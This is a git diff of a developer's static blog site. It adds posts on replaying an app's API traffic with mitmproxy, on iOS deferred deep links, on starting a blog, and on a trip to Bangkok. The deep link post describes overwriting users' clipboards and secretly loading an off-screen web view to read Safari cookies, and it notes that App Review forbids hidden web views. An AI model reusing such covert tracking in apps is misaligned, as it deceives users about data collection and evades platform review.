Each request can be entered to view detailed Request & Response content:

The above is the basic setup and actual work of mitmproxy.

3. Sniff and Understand the API Structure

Next, we will use mitmproxy’s mitmdump service combined with the mitmproxy-rodo addons I developed earlier to record and replay requests.

My implementation principle is to calculate the Hash value of the Request parameters. When replaying, the request is taken to calculate the Hash again. If the same Hash value backup Response is found locally, it will be returned. If there are multiple requests with the same Hash value, they will be stored and replayed in order.

We can first use the above method to sniff the App’s API (or use Proxyman), observe which fields might affect Hash Mapping, and record them for later exclusion settings. For example, some APIs always carry the ?ts parameter, which does not affect the returned content but affects the Hash value calculation, making it impossible to find the local backup. We need to pick it out and exclude it in the later settings.

4. Set up mitmproxy-rodo:

Use the open-source recording and replay script I wrote.

For detailed parameter settings, please refer to the instructions of the open-source project.

1
+2
+
git clone git@github.com:ZhgChgLi/mitmproxy-rodo.git
+cd mitmproxy-rodo
+

Fill in the parameters picked out in step 3 into the config.json configuration file:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+
{
+  "ignored": {
+    "*": {
+      "*": {
+        "*": {
+          "iterable": false,
+          "enables": [
+            "query",
+            "formData"
+          ],
+          "rules": {
+            "query": {
+              "parameters": [
+                "ts",
+                "connect_id",
+                "device_id",
+                "device_name",
+              ]
+            },
+            "formData": {
+              "parameters": [
+                "aidck",
+                "device_id",
+                "ver_name",
+              ]
+            }
+          }
+        }
+      }
+    }
+  }
+}
+

The above parameters will be excluded when calculating the Hash value, and specific exclusion rules can be set for individual Endpoint paths.

5. Enable recording, and execute in Terminal:

1
+
mitmdump -s rodo.py --set dumper_folder=zhgchgli --set config_file=config.json --set record=true "~d zhgchg.li"
+
  • The ending "~d zhgchg.li" means to capture only the traffic of * .zhgchg.li.
  • dumper_folder: Name of the output destination directory

6. Operate the target App on the phone to execute the desired recording process path

  • It is recommended to restart and reinstall the App to start with the cleanest state.
  • It is recommended to record a video to help remember the reproduction steps.

While operating, you will see many captured API Response Data in the output directory, stored according to Domain -> API path -> HTTP method -> Hash value -> Header-X / Content-X (if the same Hash request is made twice, it will be saved in order).

  • To re-record, you can directly delete the output directory and let it capture again.
  • If the returned data contains personal information, remember to adjust the captured content to anonymize it.

[Meat] Replay the captured API Response Data

After recording, be sure to try replaying once to test if the data is normal. If the Hash Hit is very low (almost no corresponding Response found during replay), you can repeat the sniffing steps to find the variable that affects the Hash value each time the App is executed and exclude it.

Execute replay:

1
+
mitmdump -s rodo.py --set dumper_folder=zhgchgli --set config_file=config.json
+
  • dumper_folder: Name of the output destination directory
  • By default, if there is no locally mapped Hash Response Data, it will directly return 404 to make the App blank, so you can know if the captured data is effective.

  • The path page that was passed during recording and capturing can be displayed again during replay: OK!
  • The path page that was not passed during recording and capturing shows a network error during replay: OK!

Remembrance

At this point, we can reproduce the last moments before the App reached its final station through the restoration of bones and the final meat, to remember the time when everyone worked together to produce it.

This article commemorates the team of my first job and the time when I transitioned from web backend development to iOS App development, learning while doing, and independently producing a product from scratch in 3-4 months, together with Android, design, PM supervisors, and backend colleagues. Although it is about to reach the end of its life cycle, I will always remember the bittersweet moments and the excitement of seeing it go live and being used for the first time.

“Thank you”

Contributions Welcome

If you have the same regrets, I hope this article can help you, because mitmproxy-rodo was initially developed as a POC concept verification tool. Contributions, bug reports, or PRs to fix bugs are welcome.

For any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Implementing Google Services RPA Automation with Google Apps Script

Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/Jira

diff --git a/posts/b08ef940c196/index.html b/posts/b08ef940c196/index.html new file mode 100644 index 0000000000..b35d20957d --- /dev/null +++ b/posts/b08ef940c196/index.html @@ -0,0 +1,257 @@ + iOS Deferred Deep Link Implementation (Swift) | ZhgChgLi
Home iOS Deferred Deep Link Implementation (Swift)
Post
Cancel

iOS Deferred Deep Link Implementation (Swift)

Build an app transition flow that adapts to all scenarios without interruption

[2022/07/22] Update on iOS 16 Upcoming Changes

Starting from iOS ≥ 16, when an app actively reads the clipboard without user-initiated action, a prompt will appear asking for permission. Users need to allow this for the app to access clipboard information.

UIPasteBoard’s privacy change in iOS 16

UIPasteBoard’s privacy change in iOS 16

[2020/07/02] Update

Irrelevant

From graduating and completing military service to now working aimlessly for nearly three years, my growth has plateaued, and I have settled into a comfort zone. Fortunately, a decision to resign sparked a new beginning.

While reading “Designing Your Life” and reorganizing my life plan, I reflected on my work and life. Despite not having exceptional technical skills, sharing on Medium has allowed me to enter a state of “flow” and gain a lot of energy. Recently, a friend asked me about Deep Link issues, so I organized my research findings and replenished my energy in the process!

Scenarios

First, let’s explain the practical application scenarios.

  1. When a user with the app installed clicks on a URL link (from Google search, Facebook post, Line link, etc.), the app should directly display the target screen. If the app is not installed, it should redirect to the App Store for installation. After installing and opening the app, it should be able to reproduce the desired screen from before.

iOS Deferred Deep Link Demo

  1. Tracking data for app downloads and openings. We want to know how many people actually download and open the app through a promotional link.

  2. Special event entrances, such as being able to receive rewards by downloading and opening through a specific URL.

Support:

iOS ≥ 9

iOS Deep Link Mechanism

As seen, the iOS Deep Link mechanism itself only determines if the app is installed. If it is, the app opens; if not, it does nothing.

First, we need to add a prompt to redirect to the App Store if the app is not installed:

The URL Scheme part is controlled by the system and is generally used for internal app calls and rarely exposed publicly. If the trigger point is in an area you cannot control (e.g., Line link), it cannot be handled.

If the trigger point is on your own webpage, you can use some tricks to handle it. Please refer to this link:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+
<html>
+<head>
+  <title>Redirect...</title>
+  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+  <script>
+    var appurl = 'marry://open';
+    var appstore = 'https://apps.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E6%9C%80%E5%A4%A7%E5%A9%9A%E7%A6%AE%E7%B1%8C%E5%82%99app/id1356057329';
+
+    var timeout;
+    function start() {
+      window.location = appurl;
+      timeout = setTimeout(function(){
+        if(confirm('Install Marry App now?')){
+          document.location = appstore;
+        }
+      }, 1000);
+    }
+
+    window.onload = function() {
+      start()
+    }
+  </script>
+</head>
+<body>
+
+</body>
+</html>
+

The general logic is to call the URL Scheme, set a Timeout, and if the page has not redirected within the set time, assume that the Scheme cannot be called and redirect to the APP Store page (but the experience is still not good as there will still be a URL error prompt, just with added automatic redirection).

Universal Link itself is a webpage. If there is no redirection, it defaults to being presented in a web browser. Websites with web services can choose to directly jump to the web browser for those services, or directly redirect to the APP Store page.

Websites with web services can add the following code within <head></head>:

1
+
<meta name="apple-itunes-app" content="app-id=APPID, app-argument=page parameter">
+

When browsing the webpage version on iPhone Safari, an APP installation prompt will appear at the top, along with a button to open the page using the APP; the app-argument parameter is used to pass in page values and transmit them to the APP.

Flowchart of adding "redirect to APP Store if not available"

Flowchart of adding “redirect to APP Store if not available”

Of course, what we want is not just “open the APP when the user has it installed,” but also to link the referral information with the APP, so that the APP automatically displays the target page when opened.

The URL Scheme method can be handled in the AppDelegate’s func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -> Bool:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -> Bool {
+    if url.scheme == "marry",let params = url.queryParameters {
+      if params["type"] == "topic" {
+        let VC = TopicViewController(topicID:params["id"])
+        UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true)
+      }    
+    }
+    return true
+}
+

The Universal Link method is handled in the AppDelegate’s func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -> Void) -> Bool:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
extension URL {
+    /// test=1&a=b&c=d => ["test":"1","a":"b","c":"d"]
+    /// Parse the URL query into a [String: String] array
+    public var queryParameters: [String: String]? {
+        guard let components = URLComponents(url: self, resolvingAgainstBaseURL: true), let queryItems = components.queryItems else {
+            return nil
+        }
+        
+        var parameters = [String: String]()
+        for item in queryItems {
+            parameters[item.name] = item.value
+        }
+        
+        return parameters
+    }
+    
+}
+

First, an extension method queryParameters for URL is provided to easily convert URL Queries into a Swift Dictionary.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -> Void) -> Bool {
+        
+  if userActivity.activityType == NSUserActivityTypeBrowsingWeb, webpageURL = userActivity.webpageURL {
+    /// If it is a universal link URL source...
+    let params = webpageURL.queryParameters
+    
+    if params["type"] == "topic" {
+      let VC = TopicViewController(topicID:params["id"])
+      UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true)
+    }
+  }
+  
+  return true  
+}
+

Done!

What else is missing?

It looks perfect now, we’ve handled all the scenarios we might encounter, so what else is missing?

Entering the main point of this article

What is a Deferred Deep Link? It is to extend our Deep Link to retain referral data even after installing from the APP Store.

According to Android engineers, Android itself has this feature, but it is not supported on iOS, and the method to achieve this is not user-friendly. Keep reading to find out more.

If you don’t want to spend time doing it yourself, you can directly use branch.io or Firebase Dynamic Links. The method introduced in this article is the way Firebase uses.

There are two ways to achieve the effect of Deferred Deep Link:

One is to calculate a hash value based on user device, IP, environment, etc., store data on the server on the web side; when the APP is opened after installation, calculate in the same way, if the values are the same, retrieve the data (branch.io’s method).

The other is the method introduced in this article, similar to Firebase’s approach; using the iPhone clipboard and Safari and APP Cookie sharing mechanism, which means storing data in the clipboard or Cookie, and then reading it out for use after the APP is installed.

After clicking “Open,” your clipboard will be automatically overwritten with JavaScript to copy and redirect to relevant information: https://XXX.app.goo.gl/?link=https://XXX.net/topicID=1&type=topic

Those who have used Firebase Dynamic Links must be familiar with this opening redirect page. Once you understand the principle, you will know that this page cannot be removed from the process!

Additionally, Firebase does not provide style modifications.

Support

First, let’s talk about the support issue; as mentioned earlier, it is “not user-friendly”!

If the APP only considers iOS ≥ 10, it is much easier. The APP implements clipboard access, the Web uses JavaScript to overwrite information to the clipboard, and then redirects to the APP Store for download.

iOS = 9 does not support JavaScript automatic clipboard but supports Safari and APP SFSafariViewController “Cookie sharing method”

Also, the APP needs to secretly add SFSafariViewController in the background to load the Web, and then obtain the Cookie information stored when clicking the link from the Web.

The process is cumbersome & link clicks are limited to Safari browser.

According to the official documentation, iOS 11 can no longer access the user’s Safari Cookie. If you have such a requirement, you can use SFAuthenticationSession, but this method cannot be executed stealthily in the background, and a confirmation window will pop up each time before loading.

_SFAuthenticationSession Prompt_

SFAuthenticationSession Prompt

Also, App Review does not allow placing SFSafariViewController where users cannot see it. (It’s not easy to be noticed by triggering programmatically and then adding it as a subview.)

Get Started

Let’s start with something simple, considering users with iOS ≥ 10, simply transfer information using the iPhone clipboard.

Web End:

We customized our own page similar to Firebase Dynamic Links, using the clipboard.js package to copy the information we want to bring to the app when users click “Go Now” to the clipboard (marry://topicID=1&type=topic), and then use location.href to redirect to the App Store page.

App End:

Read the clipboard value in AppDelegate or the main UIViewController:

let pasteData = UIPasteboard.general.string

It is recommended to wrap the information using the URL Scheme method here for easy identification and data decryption:

1
+2
+3
+4
+5
+6
+
if let pasteData = UIPasteboard.general.string, let url = URL(string: pasteData), url.scheme == "marry", let params = url.queryParameters {
+    if params["type"] == "topic" {
+      let VC = TopicViewController(topicID: params["id"])
+      UIApplication.shared.keyWindow?.rootViewController?.present(VC, animated: true)
+    }
+}
+

Finally, after completing the action, use UIPasteboard.general.string = “” to clear the information in the clipboard.

Get Started — Support for iOS 9 Version

Here comes the tricky part, supporting the iOS 9 version. As mentioned earlier, due to the lack of clipboard support, we need to use the Cookie Exchange Method.

Web End:

Handling the web end is relatively straightforward, just change it so that when the user clicks “Go Now,” the information we want to bring to the app is stored in a Cookie (marry://topicID=1&type=topic), and then use location.href to redirect to the App Store page.

Here are two pre-packaged JavaScript methods for handling Cookies to speed up development:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
/// name: Cookie name
+/// val: Cookie value
+/// day: Cookie expiration period, default is 1 day
+/// EX1: setcookie("iosDeepLinkData","marry://topicID=1&type=topic")
+/// EX2: setcookie("hey","hi",365) = valid for one year
+function setcookie(name, val, day) {
+    var exdate = new Date();
+    day = day || 1;
+    exdate.setDate(exdate.getDate() + day);
+    document.cookie = "" + name + "=" + val + ";expires=" + exdate.toGMTString();
+}
+
+/// getCookie("iosDeepLinkData") => marry://topicID=1&type=topic
+function getCookie(name) {
+    var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
+    if (arr != null) return decodeURI(arr[2]);
+    return null;
+}
+

App End:

Here comes the most troublesome part of this document.

As mentioned earlier, we need to secretly load an SFSafariViewController in the background in the main UIViewController to implement the principle.

Another pitfall: The issue of secretly loading is that if the size of the View of iOS ≥ 10 SFSafariViewController is set to less than 1, the opacity is less than 0.05, and it is set to isHidden, the SFSafariViewController will not load.

p.s iOS = 10 supports both Cookies and Clipboard simultaneously.

[https://stackoverflow.com/questions/39019352/ios10-sfsafariviewcontroller-not-working-when-alpha-is-set-to-0/39216788](https://stackoverflow.com/questions/39019352/ios10-sfsafariviewcontroller-not-working-when-alpha-is-set-to-0/39216788){:target="_blank"}

https://stackoverflow.com/questions/39019352/ios10-sfsafariviewcontroller-not-working-when-alpha-is-set-to-0/39216788

My approach here is to place a UIView above the UIViewController of the main page with any height, align it to the bottom of the main UIView, then drag IBOutlet (sharedCookieView) to the Class; in viewDidLoad(), initialize the SFSafariViewController and add its View to sharedCookieView, so it actually displays and loads, just off-screen where the user can’t see 🌝.

Where should the URL of SFSafariViewController point to?

Similar to sharing a page on the web, we need to create a separate page for reading Cookies, and place both pages under the same domain to avoid cross-domain Cookie issues, the page content will be provided later.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
@IBOutlet weak var SharedCookieView: UIView!
+
+override func viewDidLoad() {
+    super.viewDidLoad()
+    
+    let url = URL(string:"http://app.marry.com.tw/loadCookie.html")
+    let sharedCookieViewController = SFSafariViewController(url: url)
+    VC.view.frame = CGRect(x: 0, y: 0, width: 200, height: 200)
+    sharedCookieViewController.delegate = self
+    
+    self.addChildViewController(sharedCookieViewController)
+    self.SharedCookieView.addSubview(sharedCookieViewController.view)
+    
+    sharedCookieViewController.beginAppearanceTransition(true, animated: false)
+    sharedCookieViewController.didMove(toParentViewController: self)
+    sharedCookieViewController.endAppearanceTransition()
+}
+

sharedCookieViewController.delegate = self

class HomeViewController: UIViewController, SFSafariViewControllerDelegate

This Delegate needs to be added to capture the callback after loading is complete.

We can use:

func safariViewController(_ controller: SFSafariViewController, didCompleteInitialLoad didLoadSuccessfully: Bool) {

Capture the load completion event in the method.

At this point, you might think that reading the cookies in didCompleteInitialLoad completes the process!

I couldn’t find a method to read SFSafariViewController cookies here, and using internet methods to read them always returns empty.

Or you may need to interact with the page content using JavaScript, have JavaScript read the cookies and return them to the UIViewController.

Tricky URL Scheme Method

Since iOS doesn’t know how to get shared cookies, we can directly let the “cookie-reading page” help us “read the cookies”.

The JavaScript method for handling cookies provided earlier with the getCookie() function is used here. Our “cookie-reading page” is a blank page (users can’t see it anyway), but in the JavaScript part, we need to read the cookies after the body onload event:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+
<html>
+<head>
+  <title>Load iOS Deep Link Saved Cookie...</title>
+  <script>
+  function checkCookie() {
+    var iOSDeepLinkData = getCookie("iOSDeepLinkData");
+    if (iOSDeepLinkData && iOSDeepLinkData != '') {
+        setcookie("iOSDeepLinkData", "", -1);
+        window.location.href = iOSDeepLinkData; /// marry://topicID=1&type=topic
+    }
+  }
+  </script>
+</head>
+
+<body onload="checkCookie();">
+
+</body>
+
+</html>
+

The actual principle is summarized as follows: add an SFSafariViewController to HomeViewController viewDidLoad to secretly load the loadCookie.html page. The loadCookie.html page checks and reads the previously stored cookies, clears them if found, and then uses window.location.href to trigger the URL Scheme mechanism.

So the corresponding callback processing will return to func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) in AppDelegate.

Done! Summary:

If you find it cumbersome, you can directly use branch.io or Firebase Dynamic without reinventing the wheel. Here, it’s because of interface customization and some complex requirements that we have to build it ourselves.

iOS 9 users are already very rare, so you can ignore it if it’s not necessary; using the clipboard method is fast and efficient, and using the clipboard means you don’t have to limit the links to be opened in Safari!

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Using 'Shortcuts' Automation with Mi Home Smart Home on iOS ≥ 13.1

iOS UIViewController Transition Techniques

diff --git a/posts/b7a3fb3d5531/index.html b/posts/b7a3fb3d5531/index.html new file mode 100644 index 0000000000..a99333623f --- /dev/null +++ b/posts/b7a3fb3d5531/index.html @@ -0,0 +1 @@ + First Post on Medium | ZhgChgLi
Home First Post on Medium
Post
Cancel

First Post on Medium

The Beginning is Always the Hardest

It has been over 4 years since I last managed a blog. The remaining ad revenue of US$88 has been stuck there. Recently, I discovered that I could request to cancel my Adsense account, and as long as I reach the minimum payout threshold, Google will give me the final payment. This has given me the motivation to start writing a blog again.

Starting fresh, I chose the simple title “The Beginning is Always the Hardest” as a starting point.

Reflecting on my history of blogging, it started around middle school when I was most obsessed with games. The family computer was very old and couldn’t run many games, but at that playful age, even if there were no games to play, I still had to turn on the computer every day. It was already very novel to me at that time.

Due to the above factors, most of my computer time was spent chatting with classmates on instant messaging and browsing web pages. As you can imagine, it was quite empty and lacked a sense of accomplishment (at least others could gain a sense of accomplishment from playing games).

At that time, “blogs” were very popular and very new to me. The first one I encountered was the once-popular Wretch.cc. When I created an account and opened my blog for the first time, I felt, “Wow! I have my own website,” and “Wow! I can change the style, so cool.” Coincidentally, the school’s computer class taught web design (Front-Page 2003/ Sheng’s Website), so my first blog was all about exploring the features, finding materials, playing with styles, and installing many “cool” JavaScript plugins. In contrast, the content quality was basically junk.

This gave me a deeper understanding of the online world, such as how to find information, how to fix broken plugins, how to embed images, etc.

Many of the resources were obtained from forums, which were also very popular at the time. However, I was a typical lurker who only read and rarely posted, occasionally replying with “Thanks for the generous share.” While browsing various forums, I discovered “free forums,” where you could become an admin and have your own forum just by signing up. This was a level higher than blogs, and being an “admin” was super cool!

Combining the basics of playing with blog settings, forums had even more settings to play with (creating boards, member permissions, plugin centers). Everything could be set by yourself, like entering another world.

There were many free forum systems, and I kept switching and trying them out. Some had incomplete features, some were not free, some were unstable, and some had too many ads. The one I remember most was Marlito, which best met my needs and was the one I managed the longest.

At the same time, I moved my blog to “YouthWant Blog.” The reason was that Wretch.cc started imposing various restrictions, and YouthWant was just starting, with fewer restrictions and features that met my needs. This time, I focused on content, with 70% sharing useful software (similar to A-Rong’s Welfare) and 30% sharing forum experiences (settings/bug fixes).

I wrote about 30 posts, with daily views around 200 and a peak of 500 (not much by today’s standards). I was in the top 10 of YouthWant’s blog rankings, with most traffic coming from posts sharing useful software. I managed it seriously for over a year, but then got busy with schoolwork in the third year of middle school and high school. Eventually, I joined a training program and left the blog idle.

Due to the blog name being too cheesy, only a screenshot of the view count is shown

Due to the blog name being too cheesy, only a screenshot of the view count is shown.

Later, I created another Blogger for technical articles, recording programming issues and solutions. However, Blogger was not user-friendly, and its basic features couldn’t meet my needs, so I gave up after a few posts.

In the later stages, I applied for a domain and bought hosting to set up a WordPress blog. But everything had to be done by myself—setting up, adjusting features. I couldn’t focus on writing content, so it was also written intermittently. After the hosting expired, I didn’t renew it, and the website went offline until now.

In summary, the journey from finding the concept of a Blog very novel -> to -> exploring and mastering Blog functionalities -> to -> focusing on the essence of the Blog - the content of the articles -> to -> sharing technical articles

Laziness, less recording of the process, reviewing, and sharing, and the allure of advertising revenue gradually led me further away from my original intention, the simple enthusiasm to share with everyone.

[https://www.flickr.com/photos/zuvonne/3738631215](https://www.flickr.com/photos/zuvonne/3738631215){:target="_blank"}

https://www.flickr.com/photos/zuvonne/3738631215

Set a new goal for myself, with teaching and learning as the original intention, start recording life anew!

  1. Technical aspects: iOS App development, Swift, PHP, Mysql…
  2. Life aspects: work, photography, unboxing, random murmurs
  3. Experience aspects: recently delving into machine learning, starting from scratch
  4. Story aspects: skills competition experiences, life observations

This article is also published on my personal Blog: [Click here to visit].

For any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

-

iOS UITextView Text Wrapping Editor (Swift)

diff --git a/posts/b7e7c0938985/index.html b/posts/b7e7c0938985/index.html new file mode 100644 index 0000000000..aaa621515e --- /dev/null +++ b/posts/b7e7c0938985/index.html @@ -0,0 +1,45 @@ + Travelogue 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip | ZhgChgLi
Home Travelogue 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip
Post
Cancel

Travelogue 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip

[Travelogue] 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip

Returning to Thailand after the pandemic, a quick 5-day free and easy trip to Bangkok.

Memories of Bangkok

Going back to 2018, it was the first company trip of my first job after entering the workforce, and also my first time traveling abroad, to Bangkok + Hua Hin (5 days); the following year in 2019, I went to Sabah with colleagues on another company trip; then the pandemic stole two years from us, and after it ended, I started going on crazy free and easy trips to Japan.

Back then, I was a newbie, with zero social experience, blindly following my older colleagues. I didn’t even know what I could or couldn’t bring on the plane. During security check, I absentmindedly placed my passport on the basket, and almost lost it when it fell off the conveyor belt (if it had fallen into a gap, I wouldn’t have been able to retrieve it); that time, it was a mindless guided tour, mindlessly riding tour buses. My impression of Bangkok wasn’t very clear, I only remember that the rooftop bar was great, the weather was hot, things were cheap, and massages were affordable. I had no concept of the geographical locations.

So, I always wanted to revisit Bangkok to relive the memories from six years ago. However, not being familiar with Southeast Asia, I was a bit hesitant to travel alone. Coincidentally, at the beginning of the year, while bantering with Pinkoi colleagues, we ended up planning this 5-day free and easy trip to Bangkok.

Details and fragments of memories from the 2018 Bangkok + Hua Hin 5-day trip are included in the appendix at the end of this document.

Preparation


Because I started a new job in June, I didn’t have much time for leisure activities. Mark and Sean were mainly responsible for arranging and planning, so I didn’t do much homework.

⚠️⚠️⚠️I have placed the safety and precautions for traveling to Bangkok, Thailand after the travelogue. You may skip the travelogue but it is essential to understand the precautions against scams and things to be aware of, especially if you encounter marijuana.

Schedule 2024/08/02 ~ 2024/08/06

  • Day 1 08/02: Expected to arrive at Bangkok airport at 18:45, reach the hotel around 20:00, rest at the hotel or go to the hotel bar.
  • Day 2 08/03: Visit the famous attractions along the Chao Phraya River, including the Grand Palace, Wat Pho, Wat Arun, Wat Benchamabophit, ICONSIAM, and in the evening meet with the tech guru Chun-Hsiu Liu Lhao Lhao for dinner and visit Rock Pub Live.
  • Day 3 08/04: Visit Chatuchak Market, King Power Mahanakhon, and Jatujak Night Market (Volcano Ribs).
  • Day 4 08/05: Shopping at Central World and Terminal 21.
  • Day 5 08/06: Return flight at 15:20.

Internet

Due to the rushed preparation this time, I hadn’t arranged for internet access the day before and didn’t have time to buy a physical SIM card. Fortunately, I tried eSIM for the first time and loved it after using it.

I directly purchased the [**Thailand SIM CardAIS 5G High-Speed Internet 8 Days Unlimited Data + Calls eSIM**](https://www.kkday.com/zh-tw/product/137037-ais-16-day-unlimited-data-esim-activate-before-may-3-2023-thailand?cid=19365){:target=”_blank”} from KKday. After purchasing, I received the eSIM activation certificate and could start using it.
![Thailand SIM CardAIS 5G High-Speed Internet 8 Days Unlimited Data + Calls eSIM](/assets/b7e7c0938985/1*AnowISXXahXxykkUUsugFw.png)

Thailand SIM Card | AIS 5G High-Speed Internet 8 Days Unlimited Data + Calls eSIM

  • Limited-time promotion: From now until December 31, 2024, activating it during the promotion period will double the high-speed data from 15GB to 30GB. After exceeding 30GB, the speed will be reduced to 384 Kbps for continuous internet access.
  • Unlimited calls within the AIS network, 50 Baht call credit, and an additional 10GB (10Mbps) data for using Tiktok, Wechat, and Instagram for text messaging.
  • Has a physical number, can make calls, and receive SMS!
  • Calculation of days: Based on a 24-hour system, counting from the activation of eSIM, where 24 hours constitute a day (Thai time).

Mainly for unlimited data usage, cheaper than physical SIM cards, 8 days for NT $232.

Flight Tickets 🛫

  • Outbound: TPE 16:00 -> BKK 18:45
  • Return: BKK 15:20 -> TPE 20:10

Airline: Thai VietJet Air

Price: TWD $9,259 (including additional round-trip 15 kg checked baggage)

Initially, I wanted to travel with my friends, but they didn’t check in any baggage (ticket price was around $6,000), and later when I checked other airlines, I felt like I was losing out; the regular airlines were around $10,000 during similar periods, not much of a difference, but much more comfortable!

In fact, Thai VietJet Air allows baggage to be carried without checking in. Passengers can bring two pieces of carry-on baggage with a total weight not exceeding 7 kilograms.

1
+2
+3
+4
+5
+6
+7
+8
+9
+
1. Carry-on baggage weight:
+Each passenger (except infants) can bring 1 piece of their own baggage and 1 small carry-on baggage, with a maximum total weight not exceeding 07 kg.
+
+2. Carry-on baggage dimensions:
+- 01 piece with maximum dimensions of 56cm x 36cm x 23cm for carry-on baggage
+- 01 small carry-on baggage (including the following items)
+  + 01 bag for girls, magazines, cameras, bags for baby food, bags purchased at the airport with dimensions not exceeding 30cm x 20cm x 10cm, etc.
+  + 01 coat with dimensions not exceeding 114cm x 60cm x 11cm when opened.
+  + 01 notebook with maximum dimensions of 40cm x 30cm x 10cm
+

Information as of 2024/08/22, subject to the latest official announcements.

Basically, carrying a backpack and dragging a carry-on suitcase is enough.

8/1 Flight Change Notice

Flight Change Notice

Received a flight change notice around 11 pm on 8/1, with the schedule changed to depart at 16:35 and arrive at 19:20.

Accommodation

JC KEVIN SATHORN BANGKOK HOTEL

Hotel Location

36 Narathiwas-Ratchanakarin Road, Yannawa, Sathorn, Bangkok, Thailand, 10120

  • Room Type: Skyline 2-Bedroom Suite with Balcony, with an unboxing video available.
  • Transportation: Closest to BTS Chong Nonsi Station, about 1 kilometer or 15 minutes away on foot.
  • Price: NT 31,315 for 4 people for 4 nights. (Expensive due to late booking, can get 40-50% off if booked earlier)

Currency

A friend exchanged 3,000 THB in advance, while I exchanged at SuperRich upon arrival.

Transportation

Register and link a credit card to Grab in Taiwan for convenient use.

Taiwanese Souvenirs

Taiwanese Souvenirs

Prepared Taiwanese souvenirs for Agoda’s top performer.

  • Blackcurrant soda, milk tea, Vitasoy P, I-Mei cream puffs, shrimp crackers, Wei Lih braised pork noodles, pineapple cakes, Po-Dee-Doo oyster-flavored potato chips, cola gummies, green Guava candies

8/02 Day 1 Departure

Left home around 12:30 pm after work.

Departure

Remember to take the Airport MRT Express train, even if you take the regular train in the morning, it won’t arrive earlier than the Express train!

Arrived at Taoyuan Airport Terminal 1 around 1:30 pm.

Taoyuan Airport

Boarding Pass

The check-in counter was completely empty, so I checked in and completed the baggage drop directly upon arrival.

Image

Image

Once again, it’s B1R, the furthest gate that requires taking a shuttle.

Image

It was still early before 4:00 PM, so I decided to have another meal at the airport. This time, I found out that I could order individual items at the restaurant, not just fried chicken as before!

Image

Image

I discovered that walking further ahead from the restaurant leads directly to the second terminal. So, if you have plenty of time, you can walk to the second terminal for food or come back to the first terminal to relax at the free VIP lounge.

Image

After buying food, I went to the free VIP lounge at the first terminal to rest and eat. This time, I saw people charging their devices. Last time I was here, all the power outlets were taken, but it seems they have fixed it now.

Around 3:30 PM, headed to the B1R boarding gate.

Image

Image

Image

The flight information wasn’t updated, showing 4:00 PM, but the actual departure time was changed to 4:35 PM.

Image

Image

Image

Due to flight delays, the actual departure time was 5:13 PM.

  • The seats on VietJet are similar in size to those on Tigerair, larger than Peach Aviation, but the chairs are uncomfortable, the faux leather material is not breathable, and sitting for too long can be painful.
  • It seems you can bring your own food on VietJet. On the return flight, someone bought mango sticky rice and ate it onboard without any issues.

Arrived at Bangkok BKK Suvarnabhumi Airport at 7:30 PM.

I heard from colleagues that during peak hours at Bangkok Airport, you can purchase the Thailand Airport BKK Departure Meet and Greet Fast Track Service for quick clearance. However, when we arrived, there were hardly any passengers, so the clearance was quick.

8:00 PM - Collected luggage and exited the airport.

Image

Possibly due to the budget airline, there were not many checked bags, so the luggage retrieval was very fast.

eSIM Network Setup

Upon exiting the airport, I started to figure out how to set up and activate the eSIM, only to realize…

⚠️Activating eSIM requires an internet connection⚠️

It’s like buying a pair of scissors but needing another pair of scissors to open it. Activating the eSIM requires an initial internet connection for activation. Luckily, a friend traveling with me had already activated their eSIM in Taiwan, so I borrowed their internet to activate mine. (There is also Wi-Fi available at the airport, so no need to worry too much.)

Image

Image

Image

I found the eSIM activation page and simply long-pressed the QR code to select “Add to eSIM.”

For some reason, if you save the QR code to photos or notes, you won’t have the quick add function. Another method is to send the QR code to a companion or print it out for scanning with your phone.

Image

Image

iPhone iOS eSIM manual setup path: Settings -> Mobile Network -> Add eSIM -> Scan QRCode -> Enter information manually -> Enter information in the message -> Use for. You can choose “Travel” -> Select “Travel” for mobile data usage -> Done!

After activation, it is equivalent to dual standby, but if the original number SIM card does not have a roaming plan, there will be no network before. In case of emergency, you can switch back to the original SIM card number!

20:30 Airport Dining

Because it takes over an hour to get to the city and hotel, the budget airline does not provide meals. Everyone is hungry, so they decided to have dinner at the airport first.

They found a Thai restaurant to eat at, the shredded pork was spicy and refreshing, and the vegetable soup helped to ease the spiciness.

21:00 Moving to the Hotel

